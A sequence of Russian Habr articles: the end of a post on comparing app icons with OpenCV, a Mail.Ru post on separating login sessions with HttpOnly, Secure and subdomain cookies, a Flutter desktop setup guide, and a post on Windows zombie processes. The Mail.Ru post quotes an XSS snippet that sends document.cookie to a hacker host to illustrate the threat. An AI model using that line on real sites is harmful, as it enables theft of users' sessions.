Может показаться, что из отличий остался только размер, однако это не так. Выделенные границы несколько отличаются, и приведение иконок к одному размеру только добавляет ошибок.
Единственная заморочка — это правильно подобрать пороги минимума и максимума для алгоритма. Значения 100 и 200 меня абсолютно устроили.
Далее находим контуры. Их можно сравнивать, вычисляя коэффициент совпадения двух контуров — очень полезное в моей задаче свойство. Есть нюанс — на данный коэффициент не влияет угол поворота контура, но погоды в моем случае это почти не сделает. Для скайпа из гугла результат построения контуров следующий:
Тут не два контура, их четыре. Контур строится со внешней и внутренней стороны ранее определенных границ. Контуры я искал с флагом RETR\_LIST, то есть без иерархии, а потом отсортировал от левого верхнего края изображения.
Для моего алгоритма требуется так же посчитать общую длину контуров — в OpenCV есть для этого отдельная функция *arcLength*. Сам алгоритм сводится к тому, что если у двух изображений совпало более 80% процентов длины контуров, то считаем эти изображения иконкой одного приложения. Сами контуры сравниваются функцией *matchShapes*, чем меньше ее результат — тем лучше, в моем случае верхней границей совпадения контуров было значение 0.15.
Однако есть еще второй тип иконок, которые сравнить по данному алгоритму не удалось — это иконки игры Skyward:
На момент написания статьи эти иконки отличаются по цвету, но некоторое время назад в двух магазинах был первый цветовой вариант. Иконки отличались только по размеру, но из-за этого контуры не совпадали совсем, и по ним определить ничего не получалось. Однако, тут мне помогла библиотека *imagehash*. Для игры Skyward хэши получилось сравнить в лоб. Однако, с того момента, как цветовое решение иконок поменялось, данная фича не работает.
На мою идею «работодатель» никак не среагировал. Бывает.
**Исходник**
```
import numpy as np
import cv2
import requests
from collections import namedtuple
from bs4 import BeautifulSoup
import imagehash
from PIL import Image
def itunes_find(content):
icon, name = None, None
soup = BeautifulSoup(content)
found = soup.find(id="title")
name = found.div.h1.get_text()
found = soup.find('img',{'class':'artwork', 'alt': name})
imageurl = found['src-swap-high-dpi']
icon_r = requests.get(imageurl)
if icon_r.status_code == 200:
img_array = np.asarray(bytearray(icon_r.content), dtype=np.uint8)
icon = cv2.imdecode(img_array, cv2.IMREAD_COLOR)
return name, icon
def google_find(content):
icon, name = None, None
soup = BeautifulSoup(content)
found = soup.find('div',{'class':'cover-container'})
imageurl = found('img')[0]['src']
icon_r = requests.get(imageurl)
if icon_r.status_code == 200:
img_array = np.asarray(bytearray(icon_r.content), dtype=np.uint8)
icon = cv2.imdecode(img_array, cv2.IMREAD_COLOR)
found = soup.find('div',{'class':'document-title'})
if not found:
found = soup.find('h1',{'class':'document-title'})
if not found:
with open('olala1.html', 'w') as f:
f.write(content)
name = found.get_text()
return name, icon
def windows_find(content):
icon, name = None, None
soup = BeautifulSoup(content)
found = soup.find('img', {'class':'appImage xlarge'})
imageurl = found['src']
icon_r = requests.get(imageurl)
if icon_r.status_code == 200:
img_array = np.asarray(bytearray(icon_r.content), dtype=np.uint8)
icon = cv2.imdecode(img_array, cv2.IMREAD_COLOR)
found = soup.find(id="application")
name = found('h1')[0].get_text()
return name, icon
class Entry:
def __init__(self, url, name, icon):
self.url = url
self.name = name
self.icon = icon
self.icon_hash = None
self.contours = None
items = {}
def _go(url):
r = requests.get(url, headers = {'User-agent': 'Mozilla/5.0'}, verify=False)
if r.status_code == 200:
if url.startswith('https://itunes.apple.com'):
name, icon = itunes_find(r.content)
elif url.startswith('https://play.google.com'):
name, icon = google_find(r.content)
elif url.startswith('http://www.windowsphone.com'):
name, icon = windows_find(r.content)
if name and icon is not None:
items[url] = Entry(url, name, icon)
url_list = [
'https://itunes.apple.com/en/app/skype-for-iphone/id304878510?mt=8',
'https://itunes.apple.com/en/app/skype-for-ipad/id442012681?mt=8',
'https://play.google.com/store/apps/details?id=com.skype.raider&hl=en',
'http://www.windowsphone.com/ru-ru/store/app/skype/c3f8e570-68b3-4d6a-bdbb-c0a3f4360a51',
'https://play.google.com/store/apps/details?id=com.skype.android.access&hl=en',
'https://itunes.apple.com/en/app/skype-wifi/id444529922?mt=8',
'https://play.google.com/store/apps/details?id=com.skype.android.qik&hl=en',
'https://itunes.apple.com/us/app/skype-qik-group-video-messaging/id893994044?mt=8',
'https://play.google.com/store/apps/details?id=com.viber.voip&hl=en',
'https://itunes.apple.com/en/app/viber/id382617920?mt=8',
'https://play.google.com/store/apps/details?id=com.viber.voip&hl=en',
'https://play.google.com/store/apps/details?id=com.ketchapp.skyward&hl=en',
'https://itunes.apple.com/us/app/skyward/id943273841?mt=8',
'https://play.google.com/store/apps/details?id=cz.george.mecheche&hl=en',
]
tr = 100
def _do():
for u in url_list:
_go(u)
for item in items.itervalues():
width = item.icon.shape[0]
height = item.icon.shape[1]
icon_c = cv2.cvtColor(item.icon, cv2.COLOR_BGR2RGB)
pil_im = Image.fromarray(icon_c)
item.icon_hash = imagehash.dhash(pil_im)
edges = cv2.Canny(item.icon, tr, tr*2)
def _s(x):
x,y,w,h = cv2.boundingRect(x)
return (x, y)
contours, hierarchy = cv2.findContours(edges, cv2.RETR_LIST, 1)
contours = sorted(contours, key = _s)
item.contours = contours
item.weight = sum([cv2.arcLength(cnt,True) for cnt in contours])
matches = []
ungrouped = []
items_copy = items.values()
while items_copy:
group = []
item = items_copy[0]
current = items_copy[1:]
items_copy = []
for other in current:
if item.icon_hash == other.icon_hash:
group.append(other.url)
else:
rating = 0
count = min(len(item.contours), len(other.contours))
for v in range(count):
result = cv2.matchShapes(item.contours[v], other.contours[v], 1, 0.0)
if result < 0.15:
l = cv2.arcLength(item.contours[v],True)
lo = cv2.arcLength(other.contours[v],True)
rating += min(l/item.weight, lo/other.weight)
if rating > 0.8:
group.append(other.url)
else:
items_copy.append(other)
if group:
group.append(item.url)
matches.append(group)
else:
ungrouped.append(item.url)
for v in matches:
print 'Found group: %s'%', '.join(set([items[u].name.strip() for u in v]))
print 'Urls:\n%s\n'%'\n'.join(v)
print "Ungrouped:"
for v in ungrouped:
print 'Name %s'%items[v].name
print 'Url %s'%v
_do()
``` | https://habr.com/ru/post/266749/ | null | ru | null |
# Разделяй и властвуй: как мы реализовывали разделение сессий на портале Mail.Ru
[](http://habrahabr.ru/company/mailru/blog/228997/)
Mail.Ru — огромный портал, существующий более 15-ти лет. За это время мы прошли путь от небольшого веб-проекта до самого посещаемого сайта рунета. В состав портала входит огромное количество сервисов, у каждого из которых своя судьба, и над каждым из которых работает отдельная команда. Разработчикам пришлось как следует потрудиться, чтобы на всех проектах — и новых, и старых, и тех, которые присоединились к порталу по мере его развития, — использовалась единая система авторизации. А через много лет перед нами встала фактически обратная задача: разделить пользовательские сессии. О том, зачем мы это делали, какие трудности нас ожидали и как мы их обошли, я расскажу в этом посте.
Вернемся на много лет назад. Так как все сервисы компании находились в одном домене второго уровня с разделением на домены третьего уровня, внедрение общей авторизации казалось достаточно тривиальной задачей. Для ее решения выбрали классический (на тот момент) вариант: перевели все ресурсы на единую авторизационную форму, выставили авторизационную куку на домен второго уровня, а на серверной стороне стали проверять корректность переданной куки. Просто, красиво и работает:
`Set-Cookie: Mpop=1406885629:fbd9c78cdb2c08634e0977fa1b9e6c6c:user@mail.ru:; domain=.mail.ru`
Постепенно сервисы привыкли к использованию общей авторизационной куки, добавили в неё %LOGIN\_NAME% для более удобного отображения на страницах портала, и стали обращаться к этой куке при помощи JavaScript на своих страницах. Однако времена менялись…
Враг не дремлет
===============
 По мере роста компании пользовательские аккаунты стали лакомой добычей для злоумышленников всех мастей. Сперва появились брутфорсеры. Они ограничивались перебором пользовательских паролей в поисках желающих увековечить дату своего рождения или имя любимого питомца.
За ними подтянулись фишеры. Они стали рассылать пользователям портала письма, похожие на письма Mail.Ru. Либо содержащие ссылки на сайты, которые притворялись портальным авторизационным центром, и различными способами пытались выудить пароли пользователей.
Мы тоже не дремлем
==================
 К борьбе с фишерами и брутфосерами приступили команды антиспама и информационной безопасности. Технологии и агитация принесли свои плоды: взломов стало существенно меньше. Хотя слабые пароли вкупе с человеческой доверчивостью и по сей день являются главными помощниками в деле отъема учеток у населения, но это уже лирическое отступление.
Через некоторое время подобный бизнес начал приносить деньги, и вслед за школьниками подтянулась тяжёлая артиллерия. Появились злоумышленники, которые находили уязвимости в веб-сервисах и использовали их для получения доступа к пользовательским аккаунтам. Помимо этого, они находили способ прослушать трафик между пользовательским компьютером и сервисами компании. Целью всей этой противозаконной деятельности была авторизационная сессия пользователя — та самая портальная кука.
Всегда ли HTTPS — HTTPS?
========================
Ключевые в плане защиты пользовательских данных сервисы, например, Почту или Облако, мы спрятали за HTTPS. Использование защищенного HTTPS соединения, казалось бы, решало наши проблемы. Данные, передаваемые по такому соединению, шифруются и подписываются, поэтому третья сторона не сможет прочитать или подменить их.
Но что произойдет, если хакер, находящийся между сервером и браузером, заставит браузер пользователя зайти на сайт портала по незащищенному протоколу? Для этого ему достаточно будет перехватить любой HTTP-ответ, отправленный пользователю в незашифрованном виде, и добавить в него картинку с правильным адресом:
Хакер заставляет браузер пользователя посетить портал по нешифрованному соединению. Как видно на схеме, кука session\_id автоматически отправится на сервер портала в нешифрованном соединении, и, конечно же, хакер легко сможет ее перехватить. После этого он сможет пользоваться аккаунтом пользователя так, как если бы ему был известен пароль. Чтобы этого избежать, сервер может выставить для куки флаг Secure. Он сигнализирует браузеру, что отправлять эту куку на сервер нужно только в случае, если подключение выполняется по протоколу HTTPS. Выставляется флаг так:
`HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; secure`
Это важный нюанс, который нужно учитывать при настройке HTTPS на сервере: установка Secure-флага для авторизационных кук — это абсолютный must-have для сервиса в наше время. На большом портале эта проблема становится еще актуальнее. В условиях центральной авторизации использование HTTP в сервисе, находящемся в домене портала, дает зеленый свет желающим обойти HTTPS. Но даже если всё за HTTPS и невосприимчиво к прослушке трафика, всегда актуальными остаются риски эксплуатации веб-уязвимостей на сервисе, например XSS. Так что приходится либо отказываться от общей авторизации, либо идти другим путем, о котором я расскажу позже.
Без XSS
=======
«Межсайтовый скриптинг (или XSS), среди прочего вредного, может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя», — говорит нам Википедия. При использовании XSS-уязвимости в большинстве случаев главной целью злоумышленников становятся именно авторизационные куки, которые в дальнейшем используются для получения доступа к аккаунту. Обычно взломщики используют примерно такой JS-код для угона сессии пользователя:
```
var іmg = new Image();
іmg.srс = 'http://hacker.site/xss-sniffer.php?' + document.cookie;
```
Безусловно, самым важным и действенным методом борьбы с ошибками XSS является предотвращение их появления: тестирование, обучение разработчиков, код-ревью, аудиты информационной безопасности. Тем не менее, при наличии большого числа проектов с разными командами, невозможно добиться кода, абсолютно лишенного ошибок. Наша основная цель — защита пользовательского аккаунта. И мы должны позаботиться о том, чтобы он оставался в безопасности независимо от того, есть ли в системе XSS-уязвимости и пытаются ли их использовать.
В этом нам могут помочь HttpOnly куки. HttpOnly — это куки, которые невозможно прочитать с помощью JavaScript, но которые при этом доступны серверным скриптам, как любые другие. Несмотря на то, что это далеко не новая технология (например, у Microsoft поддержка HttpOnly куки появилась 8 лет назад в IE6 SP1), не все знают, почему их стоит использовать везде, где это возможно. Куки, недоступные из JavaScript, будут своеобразным вторым рубежом обороны от злоумышленников, планирующих XSS-атаку: прокравшийся на страницу вредоносный код не сможет утащить пользовательские куки с помощью document.cookie. Кроме того, использование флага HttpOnly в куках помогает защитить пользовательский аккаунт от недоверенных скриптов, баннеров или счётчиков, которые могут подгружаться с неподконтрольных компании ресурсов.
Нет в мире совершенства, и HttpOnly куки также нельзя назвать панацеей: флаг HttpOnly не спасает полностью от XSS-уязвимостей. Зато он сильно ограничивает варианты эксплуатации: он не позволит вредоносному JS-коду увести сессию авторизации. Существуют ситуации, когда их использование становится невозможным. Например, при активном использовании Flash. Тем не менее, это не повод полностью отказываться от HttpOnly куки. Можно минимизировать риски, сочетая два вида кук и используя HttpOnly хотя бы там, где это возможно. Итак, мы выставили Secure и HttpOnly флаги для кук — что ещё?
Подоменные куки
===============
 Как вы помните, для обеспечения сквозной авторизации на всех сервисах компании мы использовали одну авторизационную куку, выставленную на домен второго уровня. Общая авторизационная кука — это не только удобство, но еще и возможность получить доступ ко всем сервисам разом с помощью одной уязвимости на любом проекте компании. Украв авторизационную куку с сервиса a.ya-site-s-obschey-avtorizaciey.ru, мы получаем доступ на b.ya-site-s-obschey-avtorizaciey.ru.
Аналогичным образом работает сниффинг трафика, если только не используются Secure куки. Если один сервис компании безопасен и использует HTTPS, а другой ходит по HTTP, то достаточно инструктировать браузер пользователя на поход на менее защищенный сервис, украсть авторизационную куку и использовать её для авторизации в безопасном сервисе.
Теперь для решения этой проблемы у кук выставляется атрибут domain:
`HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; domain=a.company.com; secure`
Такая кука будет отправляться браузером только в запросах на домен a.company.com и его поддомены. При использовании подоменных кук, в случае нахождения уязвимости на отдельно взятом сервисе, пострадает только он. Справедливо это как для XSS, так и для других уязвимостей.
И как все это связать?
======================
Итак, мы перевели на HTTPS ключевые сервисы, обзавелись подоменными куками, ищем и искореняем уязвимости и вообще стараемся всячески обезопасить себя и пользователя со всех сторон. А как же единая авторизация? Для обеспечения общей авторизации в нашей разнородной среде, где рядом сосуществуют HTTP и HTTPS, мы ввели дополнительные доменные куки, необходимые для усиления безопасности использования конкретного проекта. Помимо основной авторизационной куки (Mpop), в проектном домене выставляется дополнительная кука (sdc). Авторизация на этом проекте будет валидна только при наличии обеих кук — Mpop и внутридоменной sdc-куки.
Механизм разделения сессий в Mail.Ru работает следующим образом: аутентификация пользователя всегда происходит через единый центр авторизации, auth.mail.ru, который получает логин и пароль и выдает доменную куку .auth.mail.ru с флагами Secure и HTTPOnly. Ни один из проектов не имеет доступа к логину и пароля пользователя. Кука .auth.mail.ru также недоступна ни одному из проектов.
Когда пользователь заходит на сайт проекта, для которого у него еще нет авторизации, его запрос перенаправляется в центр авторизации. Центр авторизации аутентифицирует его по наличию куки .auth.mail.ru, генерирует одноразовый токен и перенаправляет на страницу проекта. Токен проксируется проектом в центр авторизации, который по нему генерирует уже проектную куку для .project.mail.ru. Таким образом, сохраняются все преимущества единой портальной авторизации, но прозрачно для пользователя разделяется авторизация доступа к различным ресурсам.
Внедрение разделения сессий – это один небольшой, но крайне важный шаг в рамках общей идеологии разделения доступа, которой мы придерживаемся. Разграничение доступа позволяет сделать защиту ресурсов более консистентной, не ограничиваться «внешним контуром» – даже если атакующему удалось стащить сессию к одному из ресурсов или другим образом скомпрометировать его, последствия для пользователя будут минимальны. Помимо разделения сессий есть и другие, невидимые для пользователя (а это очень здорово) технологии разделения доступа. О них мы расскажем в одном из следующих постов.
Итак, мы пришли к тому, что даже объединенные общей платформой сервисы под капотом должны разделяться, и постепенно внедряем этот принцип на нашем портале. Уверены, что скоро по этому же пути пойдут и наши коллеги из других российских компаний, и значительная часть интернет-злоумышленников наконец останется без работы. Враг не пройдет! | https://habr.com/ru/post/228997/ | null | ru | null |
# Собираем Flutter приложение для десктопа
Всем привет!
Сегодня я покажу вам, как же запустить ваше существующие Flutter приложение на десктопе (MacOS, Linux или Windows).
Во-первых, вам прийдется переключить канал Flutter c release на master. Для этого вам потребуется выполнить следующие команды в командной строке:
```
flutter channel master
flutter upgrade
```
Затем вам нужно задать переменной окружения **ENABLE\_FLUTTER\_DESKTOP** значение **true**.
Для это выполните в командой строке следующее:
**Mac OS и Linux**
```
export ENABLE_FLUTTER_DESKTOP=true
```
**Windows PowerShell**
```
$env:ENABLE_FLUTTER_DESKTOP="true"
```
**Windows CMD**
```
set ENABLE_FLUTTER_DESKTOP=true
```
После этого вы должны видеть ваш десктоп в списке доступных устройств для запуска Flutter. Чтобы проверить это, выполните команду **flutter devices**
Как вы можете видеть на скриншоте, у меня в списке доступных устройств появилась Mac OS.
Дальше нам потребуется заглянуть в следующий репозиторий:
<https://github.com/google/flutter-desktop-embedding>
Нас интересует содержание директории [example](https://github.com/google/flutter-desktop-embedding/tree/master/example), а именно папки [macos](https://github.com/google/flutter-desktop-embedding/tree/master/example/macos), [linux](https://github.com/google/flutter-desktop-embedding/tree/master/example/linux) и [windows](https://github.com/google/flutter-desktop-embedding/tree/master/example/windows). Это раннеры для соответствующих платформ — нативные приложения, внутри которых работает Flutter. Точно такие же, какие вы можете увидеть в директории вашего проекта, когда создаете проект с помошью команды **flutter create**.
Просто скопируйте раннер для интересующей вас платформы в директорию проекта. Этот шаг необходим, так как **flutter create** пока не поддерживает автоматическое создание раннеров для десктопа.
Уже почти готово. Сейчас нужно немного отредактировать ваш **main.dart**
Добавьте следующие импорты:
```
import 'dart:io' show Platform;
import 'package:flutter/foundation.dart'
show debugDefaultTargetPlatformOverride;
```
Измените **main()** следующим образом:
```
void main() {
debugDefaultTargetPlatformOverride = TargetPlatform.fuchsia;
[...]
}
```
Последний шаг. Выполните следующие команды:
```
flutter packages get
flutter precache --linux
```
Готово! Теперь просто запустите **flutter run** и ваше приложение соберется на десктоп!
**Важное замечание:**
Стоит иметь ввиду, что многие сторонние плагины, которые вы использовали в ваших Flutter приложениях не будут работать на десктопе, так как они зависят от нативных API. В будущем ситуация, конечно, изменится, но пока лучше не использовать этот способ для чего то серьезного. | https://habr.com/ru/post/453092/ | null | ru | null |
# Зомби, которые съедают вашу память
Что бы вы там себе не думали, а зомби существуют. И они действительно едят мозги. Не человеческие, правда, а компьютерные. Я говорю сейчас о зомби-процессах и потребляемых ими ресурсах. Это будет душераздирающая история о потерянных и снова найденных 32 ГБ оперативной памяти. Возможно, лишь некоторые из вас столкнутся с точно такой же проблемой, но если вдруг это произойдёт — у вас хотя бы будет шанс понять, что происходит.
Начнём с того, что компьютеры под управлением ОС Windows склонны со временем терять память. Ну, по крайней мере, у меня, при моём способе ими пользоваться. После пары недель без перезагрузок (или, например, всего одного уикэнда за который я 300 раз пересобрал Хром) я стал замечать, что диспетчер задач начинает показывать мне очень маленькое количество свободной оперативной памяти, но в то же время в системе нет никаких процессов, которые эту самую память активно используют. В том примере выше (с 300 сборками Хрома) диспетчер задач сказал мне, что в системе занято 49.8 ГБ плюс ещё 4.4 ГБ памяти сжато — но при этом запущено всего несколько процессов, и все они в сумме даже и близко не используют столько памяти:
В моём компьютере 96 ГБ оперативной памяти (да, я счастливчик) и когда у меня нет вообще никаких запущенных процессов — я, знаете ли, хотел бы видеть ну хотя бы половину этой памяти свободной. Я правда рассчитываю на это. Но иногда этого достичь не удаётся и мне приходится перезагружать ОС. Ядро Windows написано [качественно и надёжно](https://twitter.com/nasko/status/962573875010707457) (без шуток), так что память не должна бы пропадать бесследно. Но всё же она пропадает.
Первой же моей догадкой стало воспоминание о том, что [один из моих коллег](https://twitter.com/tiraniddo) как-то жаловался на зомби-процессы, которые иногда остаются в ОС уже не активными, но всё же ещё не до конца удалёнными ядром. Он даже написал специальную утилиту, которая выводит список таких процессов — их имена и количество. Когда он запускал эту утилиту в своих тестах, то получал до нескольких сотен зомби-процессов на обычной Windows-машине. Я нашел его инструмент, запустил на своём компьютере и получил… 506 000 зомби-процессов. Да, 506 тысяч!
Я вспомнил, что одной из возможных причин перехода процесса в состояние «зомби» может быть то, что какой-то другой процесс держит открытым его дескриптор (handle). В моём случае большое количество зомби-процессов играло мне на руку — им было сложнее скрыться. Я просто открыл диспетчер задач и добавил на вкладку Details столбец с количеством открытых дескрипторов для каждого процесса. Затем отсортировал список по убыванию значений в этом столбце. Я сразу нашел героя данной истории — процесс CcmExec.exe (часть [Microsoft System Management Server](https://blogs.msdn.microsoft.com/jonathanh/2004/05/27/ccmexec-exe-and-inventory-exe-what-are-they-and-what-do-they-do/)) имел 508 000 открытых дескрипторов. Это было во-первых, очень много, а во-вторых, подозрительно близко к найдненному мною выше числу в 506 000 зомби-процессов.
Я убил процесс CcmExec.exe и получил следующий результат:
Всё получилось ровно так, как я того и ожидал. Как я без иронии писал выше — ядро Windows написано очень хорошо и когда процесс уничтожается, то и все занятые им ресурсы освобождаются. Закрытие CcmExec.exe освободило 508 000 дескрипторов, что дало возможность окончательно закрыть 506 000 зомби-процессов. Количество свободной оперативной памяти мгновенно выросло на 32 ГБ. Тайна раскрыта!
Что такое зомби-процесс?
------------------------
До этого момента мы ещё не выяснили, что же заставило все эти процессы зависнуть в неопределённости, а не быть удалёнными. Похоже на то, что мы имеем дело с тривиальным багом в приложении (а не в ядре ОС). Общее правило гласит, что когда вы создаёте процесс, то получаете его дескриптор и дескриптор его главного потока. Вы ОБЯЗАНЫ закрыть эти дескрипторы. Если вашей задачей было просто запустить процесс — их можно закрыть сразу же (это не убъёт запущенный процесс, а просто разорвёт связь вашего процесса с ним). Если новый процесс вам для чего-то нужен (например, вы ждёте окончания его работы или вам нужен код, который он вернёт) — то нужно воспользоваться соответствующими функциями (например, WaitForSingleObject(hProcess, INFINITE) для ожидания выхода или GetExitCodeProcess(hProcess, &exitCode) для получения кода возврата) и всё-равно закрыть дескрипторы после того, как вы получили от дочернего процесса всё, чего хотели. Аналогично следует и поступать и с дескрипторами процессов, которые вы для чего-нибудь открываете с помощью функции OpenProcess().
Если процесс, который забывает так поступать, относится к системным, то вам даже может не помочь выйти из своего аккаунта и снова залогиниться, только полная перезагрузка.
Куда же девается память?
------------------------
Ещё одним инструментом, который я использовал в своём исследовании, была утилита [RamMap](https://docs.microsoft.com/en-us/sysinternals/downloads/rammap). Она показывает использование каждой страницы памяти. На вкладке Process Memory мы видим сотни тысяч процессов, каждый из которых занимает 32 КБ оперативной памяти — очевидно, это и есть наши зомби. Но ~500 000 раз по 32 КБ будет равно примерно 16 ГБ — куда же делась остальная память? Сравнение состояния памяти до и после закрытия зомби-процессов даёт ответ на этот вопрос:
Мы можем чётко увидеть, что ~16 ГБ уходит на Process Private Memory. Также мы видит, что ещё 16 ГБ приходится на Page Table Memory. Очевидно, что каждый зомби-процесс занимает 32 КБ в таблице страниц памяти и еще 32 КБ использует для своей личной памяти. Я не знаю для чего зомби-процессу так много памяти, но, наверное, никто никогда не думал, что число таких процессов может измеряться сотнями тысяч.
Некоторые типы занятой памяти увеличились после закрытия процесса CcmExec.exe, в основном это касается Mapped File и Metafile. Я не знаю точно, почему так получилось. Одной из моих догадок является то, что ОС решила, что свободной памяти теперь достаточно и что-то себе закешировала. Это, в общем, не плохо. Мне не жаль памяти для нужд ОС, я просто не хочу, чтобы она пропадала совсем уж бесцельно.
Важное замечание: RamMap тоже открывает дескрипторы всех процессов, так что эту утилиту следует закрыть, если вы хотите добиться закрытия зомби-процессов.
Я написал твит о моей находке и исследование продолжил другой [программист](https://twitter.com/WithinRafael), который сумел воспроизвести данный баг и передать информацию о нём разработчику из Microsoft, который [сказал](https://twitter.com/djammmer/status/961727396423516160), что это «известная проблема, которая иногда случается, когда очень много процессов запускаются и закрываются очень быстро».
Я надеюсь, что данная проблема будет скоро исправлена.
Почему у меня на компьютере возникают такие странные проблемы?
--------------------------------------------------------------
Я работаю над кодом Windows-версии Хрома и одной из моих задач является оптимизация его сборки на этой ОС, а это требует многократных запусков этой самой сборки. Каждая сборка Хрома запускает огромное множество процессов — от 28 000 до 37 000 в зависимости от выбранных настроек. При использовании нашей распределённой системы сборки ([goma](https://groups.google.com/a/chromium.org/forum/#!msg/chromium-dev/q7hSGr_JNzg/p44IkGhDDgAJ)) эти процессы создаются и закрываются очень быстро. Мой лучший результат сборки Хрома — 200 секунд. Но столь агрессивная политика запуска процессов выявляет и проблемы в ядре Windows и её компонентах:
* Быстрое удаление процессов ведёт к [зависаниям](https://randomascii.wordpress.com/2017/07/09/24-core-cpu-and-i-cant-move-my-mouse/) пользовательского ввода
* Драйвер тачпада выделяет, но [не освобождает](https://randomascii.wordpress.com/2017/09/05/hey-synaptics-can-you-please-stop-polling/) память при каждом создании процесса
* App Verifier создаёт [O(n^2) лог-файлов](https://twitter.com/BruceDawson0xB/status/962562314456072193) (и об этом стоит написать отдельный пост!)
* Есть [баг](https://twitter.com/BruceDawson0xB/status/958517353435680768) в ядре Windows, который касается буферизации файлов, и этот баг воспроизводится на всех Windows от Server 2008 R2 до Windows 10
* Windows Defender задерживает запуск каждого процесса goma на 250 мс
Что дальше?
-----------
Если вы работаете не на компьютере, управляемом политиками компании, то процесс CmmExec.exe у вас не запущен и с конкретно данным багом вы не столкнётесь. Также он коснётся вас только если вы собираете Хром или делаете ещё что-то похожее, создавая и закрывая при этом десятки тысяч процессов в короткие промежутки времени.
Но!
CcmExec — не единственная в мире программа с багами. Я нашел много других, содержащих в себе конкретно этот же тип ошибок, приводящих к созданию зомби-процессов. И есть ещё огромное множество тех, которые я не нашел.
Как знают все опытные программисты, любая ошибка, которая не была явно исправлена или предупреждена — [точно когда-то произойдёт](https://twitter.com/BruceDawson0xB/status/962593405581762565). Просто написать в документации «Пожалуйста, закройте этот дескриптор» — не достаточно. Так что вот мой вклад в то, чтобы сделать нахождение подобного типа ошибок проще, а их исправление — реальнее. [FindZombieHandles](https://github.com/randomascii/blogstuff/tree/master/FindZombieHandles) — это инструмент, основанный на [NtApiDotNet](https://www.nuget.org/packages/NtApiDotNet/) и коде от [@tiraniddo](http://t@tiraniddo), который выводит список зомби-процессов и информацию о том, кто сделал их зомби. Вот пример вывода данной утилиты, запущенной на моём компьютере:
```
274 total zombie processes.
249 zombies held by IntelCpHeciSvc.exe(9428)
249 zombies of Video.UI.exe
14 zombies held by RuntimeBroker.exe(10784)
11 zombies of MicrosoftEdgeCP.exe
3 zombies of MicrosoftEdge.exe
8 zombies held by svchost.exe(8012)
4 zombies of ServiceHub.IdentityHost.exe
2 zombies of cmd.exe
2 zombies of vs_installerservice.exe
3 zombies held by explorer.exe(7908)
3 zombies of MicrosoftEdge.exe
1 zombie held by devenv.exe(24284)
1 zombie of MSBuild.exe
1 zombie held by SynTPEnh.exe(10220)
1 zombie of SynTPEnh.exe
1 zombie held by tphkload.exe(5068)
1 zombie of tpnumlkd.exe
1 zombie held by svchost.exe(1872)
1 zombie of userinit.exe
```
274 зомби — это ещё не так плохо. Но уже и это указывает на определённые проблемы, которые могут быть найденны и исправлены. Процесс IntelCpHeciSvc.exe в этом списке имеет самые большие проблемы — похоже на то, что он открывает (и забывает закрыть) дескриптор процесса каждый раз, когда я открываю видео в Windows Explorer.
Visual Studio забывает закрыть дескрипторы как минимум двух процессов, в одном случае это воспроизводится всегда. Просто запустите сборку проекта и подождите ~15 минут пока процесс MSBuild.exe закроется. Можно также выставить опцию “set MSBUILDDISABLENODEREUSE=1” и тогда MSBuild.exe закроется сразу по окончанию сборки и потерянный дескриптор будет виден сразу. К сожалению, какой-то негодяй в Microsoft [исправил](https://twitter.com/Tashkant/status/961645045370818563) эту проблему и фикс должен выйти в обновлении VS 15.6, так что поторопитесь воспроизвести её, пока это ещё работает (надеюсь, не нужно объяснять, что это была шутка и никакой он на самом деле не негодяй).
Также вы можете использовать для просмотра забытых процессов программу [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer), сконфигурировав её нижнюю панель так, как это показано ниже (заметьте, что в этом случае будут показаны забытые дескрипторы как для процессов, так и для потоков):
Вот пару примеров найденных багов (о некоторых сообщено разработчикам, но не о всех):
* Утечка в [CcmExec.exe](https://twitter.com/djammmer/status/961727396423516160) (описанный выше случай с 500 000 зомби) — разработчики [работают](https://twitter.com/djammmer/status/964031700845019137) над исправлением
* Утечка в [Program Compatibility Assistant Service](https://twitter.com/BruceDawson0xB/status/963476981273604096) — проблема [исследуется](https://twitter.com/appcompatguy/status/963837005795942401)
* Утечка в [devenv.exe](https://twitter.com/Tashkant/status/961645045370818563) + MSBuild.exe (проблема уже [исправлена](https://twitter.com/Tashkant/status/961645045370818563))
* Утечка в [devenv.exe](https://developercommunity.visualstudio.com/content/problem/197479/devenv-holds-handles-to-servicehubhostnodex86exe-z.html) + ServiceHub.Host.Node.x86.exe (багрепорт [отправлен](https://developercommunity.visualstudio.com/content/problem/197479/devenv-holds-handles-to-servicehubhostnodex86exe-z.html))
* Утечка в [IntelCpHeciSvc.exe](https://twitter.com/BruceDawson0xB/status/963118379371454464) + Video.UI.exe для каждого открытого видеофайла (Intel приняла багрепорт и [переслала](https://twitter.com/BruceDawson0xB/status/963118379371454464) его в Lenovo)
* Утечка в RuntimeBroker.exe + MicrosoftEdge и Video.UI.exe (возможно, имеет отношение к некоторым [другим багам](https://twitter.com/marypcbuk/status/964560351638548480) в RuntimeBroker.exe)
* Утечка в AudioSrv + Video.UI.exe
* Утечка в одном внутреннем инструменте Google из-за использования старой версии [psutil](https://github.com/giampaolo/psutil/issues/870)
* Утечка в утилитах от Lenovo: tphkload.exe теряет один дескриптор, SUService.exe теряет три
* Утечка в Synaptic’s SynTPEnh.exe
Дескрипторы процессов — не единственный тип ресурсов, который может утекать таким образом. Например, “Intel® Online Connect Access service” (IntelTechnologyAccessService.exe) использует всего 4 МБ оперативной памяти, но, будучи запущенной 30 дней, создаёт 27 504 дескрипторов. Эту проблему можно обнаружить с помощью Диспетчера Задач, я [отправил](https://twitter.com/BruceDawson0xB/status/965301833517289472) разработчикам багрепорт о ней:
Используя Process Explorer, я заметил, что NVDisplay.Container.exe открывает [~5000](https://twitter.com/BruceDawson0xB/status/962428705954910208) дескрипторов на событие \BaseNamedObjects\NvXDSyncStop-61F8EBFF-D414-46A7-90AE-98DD58E4BC99, создавая новый дескриптор каждые две минуты. Я так понимаю, они хотят быть супер-уверены в том, что могут остановить NvXDSync? Багрепорт Nvidia [отправлен](https://twitter.com/HairySphere/status/963113789867679744).
Corsair Link Service создаёт [~15 дескрипторов](https://twitter.com/kasper_93/status/963132642664296449) в секунду, не освобождает их совсем. Багрепорт [отправлен](https://twitter.com/BruceDawson0xB/status/964562328388694016).
